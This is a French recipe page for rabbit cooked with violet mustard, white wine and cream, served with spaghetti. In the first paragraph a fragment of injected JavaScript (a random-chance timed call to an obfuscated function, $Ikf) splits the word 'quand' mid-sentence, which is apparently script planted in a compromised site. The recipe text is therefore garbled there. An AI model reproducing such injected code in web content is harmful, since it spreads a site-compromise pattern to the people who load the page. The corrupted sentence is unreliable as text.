Lapin à la moutarde de violette
2018-02-17Coupez le lapin en morceaux. Dans une cocotte sur feu vif avec 2 cuillères à soupe d’huile d’arachide, faites revenir les morceaux de lapin, salez et poivrez, quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ils sont biens dorés, ajoutez les échalotes.
Ingrédients
Coupez le lapin en morceaux. Dans une cocotte sur feu vif avec 2 cuillères à soupe d'huile d'arachide, faites revenir les morceaux de lapin, salez et poivrez, quand ils sont biens dorés, ajoutez les échalotes. Bien mélanger. Mouillez avec le vin blanc et le bouillon de volaille. Faites cuire sur feu doux à couvert pendant 1 heure. Retirez les morceaux de lapin. Délayez la moutarde avec la crème fraîche dans la cocotte tout en remuant pendant 2 minutes. Remettre le lapin dans la sauce à la moutarde et faites mijoter pendant 5 minutes sur feu très doux. Déposez le lapin dans un plat creux nappez de sauce et servez avec des spaghettis.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
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